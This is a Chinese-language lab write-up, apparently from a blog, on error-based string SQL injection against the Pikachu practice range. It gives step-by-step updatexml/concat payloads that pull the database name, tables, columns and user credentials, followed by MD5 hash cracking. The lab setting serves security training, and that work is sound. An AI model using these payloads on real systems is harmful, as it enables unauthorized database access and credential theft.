数据库
首页 > 数据库> > Pikachu靶场:SQL-Inject之字符型注入(基于报错)

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

作者:互联网

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

实验环境以及工具

Firefox浏览器、Burp Suite、Pikachu靶场

实验原理

技巧思路:

在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。

背景条件:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。

Updatexml()函数作用:改变(查找并替换) XML文档中符合条件的节点的值。

语法: UPDATEXML (xml_ document, XPathstring, new_ _value)

第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new _value , String格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则则会发生错误

实验步骤

1.前期工作
先将Proxy中的intercept关闭,使其不进行拦截,让数据通过监听的端口。
2.使用字符型注入作为目标

用入下payload试图爆出数据库版本

kobe' and updatexml(1,version(),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kzhqsl8z-1620556971473)(D:\xa\pikachu\image-20210509173647994.png)]

发现爆出的数据并不完整

故尝试用concat防止错误内容被吞噬

kobe' and updatexml(1,concat(0x7e,version()),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aGfmAokA-1620556971479)(D:\xa\pikachu\image-20210509173800437.png)]

成果爆出数据库版本。

漏洞利用

首先爆出数据库名称

payload为

kobe' and updatexml(1,concat(0x7e,database()),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wiz9hvCp-1620556971483)(D:\xa\pikachu\image-20210509173932779.png)]

得出数据库名称为 pikachu

接下来数据库名称爆出表名

payload为

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' )),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bmqJ1CFm-1620556971486)(D:\xa\pikachu\image-20210509174605303.png)]

发现超过一行无法显示,那么在payload后面加上limit限制为一行

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 0,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SqV9IFJr-1620556971488)(D:\xa\pikachu\image-20210509174754875.png)]

得到第一个表名为 httpinfo

依次往后进行,即将limit 参数换为 1,1 或2,1或 3,1一直到查不出来

payload和结果依次为

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 1,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EBv8TqXx-1620556971490)(D:\xa\pikachu\image-20210509174931556.png)]

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 2,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r0FKIGc7-1620556971491)(D:\xa\pikachu\image-20210509175034169.png)]

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 3,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lPfa0eVw-1620556971493)(D:\xa\pikachu\image-20210509175348593.png)]

得到一个名叫users的表,尝试将其中的内容进行爆出。

payload和对应的结果为

kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 0,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qpAExCfa-1620556971494)(D:\xa\pikachu\image-20210509175741131.png)]

kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 1,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5mhCOskA-1620556971495)(D:\xa\pikachu\image-20210509175855937.png)]

kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 2,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y0K36QxY-1620556971497)(D:\xa\pikachu\image-20210509175941361.png)]

找到username和password两个敏感字段后,将其内容爆出

爆破username的payload和结果为

kobe' and updatexml(1, concat(0x7e, (select username from users limit 0,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6LvlRx5c-1620556971498)(D:\xa\pikachu\image-20210509180114089.png)]

kobe' and updatexml(1, concat(0x7e, (select username from users limit 1,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P5wNCFzd-1620556971499)(D:\xa\pikachu\image-20210509180147304.png)]

kobe' and updatexml(1, concat(0x7e, (select username from users limit 2,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vHefHD5w-1620556971501)(D:\xa\pikachu\image-20210509180200964.png)]

爆破password的payload和结果为

kobe' and updatexml(1, concat(0x7e, (select password from users limit 0,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MgGa6QcG-1620556971502)(D:\xa\pikachu\image-20210509180320931.png)]

kobe' and updatexml(1, concat(0x7e, (select password from users limit 1,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GaMIb40H-1620556971503)(D:\xa\pikachu\image-20210509180400836.png)]

kobe' and updatexml(1, concat(0x7e, (select password from users limit 2,1)),0)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bzXyAsxR-1620556971505)(D:\xa\pikachu\image-20210509180413982.png)]

整理用户名和密码
用户名 admin
密码 e10adc3949ba59abbe56e057f20f883e
用户名 pikachu
密码 670b14728ad9902aecba32e22fa4f6bd
用户名 test
密码 e99a18c428cb38d5f260853678922e03

5.利用hash-identifier和在线哈希破解网站破解密码
使用kali自带工具hash-identitier判断pikachu用户的密码的哈希类型

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DaFjpQfm-1620556971506)(D:\xa\pikachu\image-20210509180534247.png)]

类型为MD5

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-20N4ZZJY-1620556971508)(D:\xa\pikachu\image-20210509180559833.png)]

在MD5解密网站解密得到密文000000

总结

再利用sql报错注入的时候,要注意防止报错的内容被吞噬。输出不了多行内容的时候要利用limit进行限制。

标签:Pikachu,0x7e,报错,Inject,updatexml,kobe,TABLE,concat,SCHEMA
来源: https://blog.csdn.net/witwitwiter/article/details/116568349